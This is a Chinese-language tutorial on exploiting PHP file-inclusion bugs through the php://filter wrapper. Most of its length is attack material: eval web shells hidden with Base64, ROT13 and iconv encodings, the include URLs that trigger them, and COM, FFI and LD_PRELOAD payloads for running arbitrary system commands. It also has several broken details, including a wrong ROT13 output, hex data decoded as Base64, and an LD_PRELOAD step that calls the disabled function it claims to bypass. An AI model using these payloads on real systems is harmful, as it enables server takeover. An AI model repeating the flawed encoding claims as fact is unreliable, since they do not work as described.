PHP伪协议(Wrappers)深度利用:php://filter在文件包含漏洞中的编码绕过
大家好,今天我们来深入探讨PHP伪协议,特别是php://filter在文件包含漏洞中的应用,以及如何利用它进行编码绕过。文件包含漏洞是Web安全中一种常见且危险的漏洞,攻击者可以通过包含恶意文件来执行任意代码。而php://filter协议则为攻击者提供了一种强大的工具,用于读取、修改和编码文件内容,从而绕过一些安全限制。
1. PHP伪协议简介
PHP伪协议(Wrappers)是一种虚拟的文件系统,允许开发者使用统一的接口访问各种数据流。它们不是实际的文件系统,而是PHP提供的一种抽象层,用于处理不同类型的数据。常见的PHP伪协议包括:
file://:访问本地文件系统。http://:访问HTTP(s) URL。ftp://:访问FTP(s) URL。ssh2://:使用SSH2协议访问文件。data://:嵌入式数据流。zip://:访问压缩文件。php://:访问各种输入/输出流。
其中,php://协议族包含了几个非常有用的子协议,例如:
php://input:读取POST请求的原始数据。php://output:写入输出缓冲区。php://fd:访问文件描述符。php://memory和php://temp:读写内存中的数据流。php://filter:进行数据流的读取、过滤和转换。
2. php://filter协议详解
php://filter协议是今天的主角,它允许开发者在读取或写入数据流时应用一个或多个过滤器。它的语法如下:
php://filter/[read|write]=<filter-chain>/resource=<resource>
read和write:指定过滤器应用的方向。read表示在读取资源时应用过滤器,write表示在写入资源时应用过滤器。<filter-chain>:一个或多个过滤器的链式调用,过滤器之间用|分隔。<resource>:要读取或写入的资源,可以是文件名、URL等。
php://filter协议的核心在于过滤器,PHP内置了多种过滤器,可以实现不同的功能:
- 字符串转换过滤器:
string.rot13:将字符串进行ROT13编码。string.toupper:将字符串转换为大写。string.tolower:将字符串转换为小写。string.strip_tags:去除字符串中的HTML和PHP标签。
- 转换编码过滤器:
convert.base64-encode:将数据进行Base64编码。convert.base64-decode:将数据进行Base64解码。convert.quoted-printable-encode:将数据进行Quoted-printable编码。convert.quoted-printable-decode:将数据进行Quoted-printable解码。convert.iconv.<input-encoding>.<output-encoding>:使用iconv库进行字符集转换。
- 压缩过滤器:
zlib.deflate:使用zlib进行压缩。zlib.inflate:使用zlib进行解压缩。
- 加密过滤器:
mcrypt.*:使用mcrypt扩展进行加密和解密 (已弃用)。mdecrypt.*:使用mdecrypt扩展进行加密和解密 (已弃用)。
3. 文件包含漏洞与php://filter的结合
文件包含漏洞通常出现在以下场景:
<?php
$file = $_GET['file'];
include($file);
?>
在这个例子中,$file变量的值直接从GET请求中获取,然后被include()函数包含。如果攻击者能够控制$file的值,就可以包含任意文件,甚至执行任意代码。
如果没有php://filter,包含恶意文件的难度较高,因为目标文件可能包含敏感信息,或者服务器对包含的文件类型有限制。但是,有了php://filter,情况就变得复杂了。攻击者可以使用php://filter读取目标文件的内容,绕过文件类型限制,甚至对目标文件进行编码,使其能够被PHP引擎执行。
4. 利用php://filter进行编码绕过的案例
下面我们通过几个案例来演示如何利用php://filter进行编码绕过。
4.1. Base64编码绕过
假设目标服务器不允许包含.php文件,但允许包含.txt文件。我们可以将恶意PHP代码进行Base64编码,然后保存到.txt文件中,再使用php://filter进行解码并执行。
-
恶意PHP代码:
<?php eval($_POST['cmd']); ?> -
Base64编码:
echo '<?php eval($_POST["cmd"]); ?>' | base64得到编码后的字符串:
PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTsgPz4K -
创建
shell.txt文件,内容为Base64编码后的字符串:PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTsgPz4K -
利用
php://filter包含shell.txt文件:?file=php://filter/read=convert.base64-decode/resource=shell.txt当PHP引擎包含这个URL时,
php://filter会首先读取shell.txt文件的内容,然后使用convert.base64-decode过滤器对其进行Base64解码,得到原始的PHP代码,最后交给include()函数执行。攻击者可以通过POST请求发送cmd参数来执行任意代码。
4.2. ROT13编码绕过
ROT13是一种简单的替换密码,每个字母都被替换成它在字母表中向前移动13个位置的字母。我们可以利用ROT13编码来绕过一些简单的文件内容检查。
-
恶意PHP代码:
<?php eval($_POST['cmd']); ?> -
ROT13编码:
<?php echo str_rot13('<?php eval($_POST["cmd"]); ?>'); ?>执行以上代码,得到ROT13编码后的字符串:
<?cuc riiny($_CBFGB["pzq"]); ?> -
创建
shell.txt文件,内容为ROT13编码后的字符串:<?cuc riiny($_CBFGB["pzq"]); ?> -
利用
php://filter包含shell.txt文件:?file=php://filter/read=string.rot13/resource=shell.txtPHP引擎会读取
shell.txt文件的内容,然后使用string.rot13过滤器对其进行ROT13解码,得到原始的PHP代码,最后执行。
4.3. 利用iconv进行字符集转换绕过
某些情况下,服务器可能对文件内容进行字符集检查,我们可以利用convert.iconv过滤器进行字符集转换来绕过这些检查。
例如,如果服务器检查文件中是否包含<?php标签,我们可以将PHP代码转换为其他字符集,例如UTF-16LE,然后再使用php://filter进行转换。
-
恶意PHP代码:
<?php eval($_POST['cmd']); ?> -
使用iconv进行字符集转换(假设转换为UTF-16LE):
<?php $code = '<?php eval($_POST["cmd"]); ?>'; $encoded = iconv('UTF-8', 'UTF-16LE', $code); echo bin2hex($encoded); // 输出十六进制编码 ?>执行以上代码,得到UTF-16LE编码后的十六进制字符串,例如:
3c003f0070006800700020006500760061006c00280024005f0050004f00530054005b00220063006d00640022005d0029003b0020003f003e00 -
创建
shell.txt文件,内容为UTF-16LE编码后的十六进制字符串:3c003f0070006800700020006500760061006c00280024005f0050004f00530054005b00220063006d00640022005d0029003b0020003f003e00 -
利用
php://filter包含shell.txt文件:?file=php://filter/read=convert.iconv.UTF-16LE.UTF-8|convert.base64-decode/resource=shell.txt注意: 这里需要先用
convert.iconv.UTF-16LE.UTF-8将UTF-16LE转换为UTF-8,再用convert.base64-decode是因为我们存入shell.txt的是十六进制表示的UTF-16LE编码,需要先解码。如果直接存入UTF-16LE字符串,则不需要base64解码。 -
绕过原理分析
因为直接写入shell.txt的UTF-16LE编码后的字符会产生乱码,无法直接作为convert.iconv.UTF-16LE.UTF-8的输入,所以我们先将UTF-16LE编码后的字符转换为十六进制字符串,再写入shell.txt。读取时,先将十六进制字符串进行base64解码,得到UTF-16LE编码后的字符,再进行字符集转换。
4.4. 结合多个过滤器
php://filter协议允许我们链式调用多个过滤器,从而实现更复杂的编码绕过。例如,我们可以先使用string.rot13进行编码,再使用convert.base64-encode进行编码,从而增加绕过的难度。
?file=php://filter/read=string.rot13|convert.base64-encode/resource=shell.txt
在这个例子中,shell.txt文件的内容会先进行ROT13编码,然后再进行Base64编码。要成功执行恶意代码,我们需要先进行Base64解码,然后再进行ROT13解码。
5. 安全防御建议
为了防止利用php://filter进行文件包含漏洞攻击,我们应该采取以下安全措施:
- 严格限制文件包含的范围: 避免使用用户可控的变量作为
include()、require()等函数的参数。如果必须使用,应该对输入进行严格的验证和过滤,只允许包含白名单中的文件。 - 禁用危险的PHP函数: 禁用
eval()、system()、exec()等危险的PHP函数,防止攻击者执行任意代码。 - 配置
open_basedir: 使用open_basedir指令限制PHP可以访问的文件目录,防止攻击者访问敏感文件。 - 更新PHP版本: 及时更新PHP版本,修复已知的安全漏洞。
- 配置WAF: 使用Web应用防火墙(WAF)来检测和阻止恶意请求。WAF可以识别
php://filter协议,并阻止包含恶意代码的请求。 - 代码审计: 定期进行代码审计,发现潜在的安全漏洞。
6. 进阶:Bypass disable_functions
如果 eval 等函数被 disable_functions 禁用,可以尝试以下方法:
-
利用 COM 组件 (仅限 Windows 服务器):
如果服务器是 Windows 操作系统,并且没有禁用 COM 组件,可以利用 COM 对象来执行系统命令。?file=php://filter/read=convert.base64-decode/resource=data://text/plain,<?php $command = $_GET['cmd']; $wsh = new COM('WScript.Shell'); $exec = $wsh->exec("cmd /c " . $command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>攻击者可以通过 GET 请求的
cmd参数来执行任意系统命令。 -
利用 FFI 扩展 (PHP >= 7.4):
FFI (Foreign Function Interface) 允许 PHP 代码调用 C 函数。如果服务器安装了 FFI 扩展,并且没有进行严格的配置,可以利用 FFI 来执行系统命令。?file=php://filter/read=convert.base64-decode/resource=data://text/plain,<?php $ffi = FFI::cdef( "int system(const char *command);", "/usr/lib/libc.so.6" // Linux 系统下的 libc 库路径,需要根据实际情况修改 ); $command = $_GET['cmd']; $ffi->system($command); ?>同样,攻击者可以通过 GET 请求的
cmd参数来执行任意系统命令。需要注意的是,使用 FFI 需要对目标服务器的系统环境有一定的了解,才能找到正确的 C 库路径。 -
LD_PRELOAD 绕过
LD_PRELOAD 是一种在程序执行前加载共享库的机制。攻击者可以构造一个恶意的共享库,并通过 LD_PRELOAD 环境变量使其在 PHP 进程启动时加载,从而劫持某些函数的调用,实现 RCE。
-
编写恶意共享库(shell.c):
#include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__((constructor)) void init() { if (getenv("EVIL_CMD") != NULL) { system(getenv("EVIL_CMD")); } }这段代码定义了一个构造函数
init,它会在共享库加载时自动执行。如果环境变量EVIL_CMD存在,就执行该环境变量的值(即系统命令)。 -
编译恶意共享库:
gcc -shared -fPIC shell.c -o shell.so -
上传恶意共享库到服务器。
-
利用
php://filter和putenv设置LD_PRELOAD和EVIL_CMD环境变量:?file=php://filter/convert.base64-decode/resource=data://text/plain;base64,PD9waHAKcHV0ZW52KCJMRF9QUkVMT0FEPS90bXAvc2hlbGwuc28iKTsKcHV0ZW52KCJFVklMX0NNRD1pZCIpOwokYSA9IHN5c3RlbSgnaWQnKTs/Pg==解码后的 PHP 代码为:
<?php putenv("LD_PRELOAD=/tmp/shell.so"); putenv("EVIL_CMD=id"); $a = system('id'); // 触发 system 函数调用,加载 shell.so ?>这段 PHP 代码首先使用
putenv函数设置LD_PRELOAD环境变量为恶意共享库的路径(/tmp/shell.so),然后设置EVIL_CMD环境变量为要执行的系统命令(id)。接着,调用system函数,这会触发共享库的加载,从而执行系统命令。绕过原理分析
putenv函数用于设置环境变量。LD_PRELOAD环境变量告诉系统在启动程序时优先加载指定的共享库。当 PHP 代码调用system函数时,系统会先加载LD_PRELOAD指定的共享库,然后执行其中的代码。由于恶意共享库中的init函数会在加载时自动执行,所以可以实现 RCE。
-
7. 总结
php://filter协议是一个功能强大的工具,但同时也带来了安全风险。通过结合文件包含漏洞,攻击者可以利用php://filter读取、修改和编码文件内容,绕过安全限制,甚至执行任意代码。为了保障Web应用的安全,开发者应该严格限制文件包含的范围,禁用危险的PHP函数,配置open_basedir,并及时更新PHP版本。利用php://filter可以结合多种编码方式绕过文件包含的限制,例如Base64编码、ROT13编码和字符集转换等。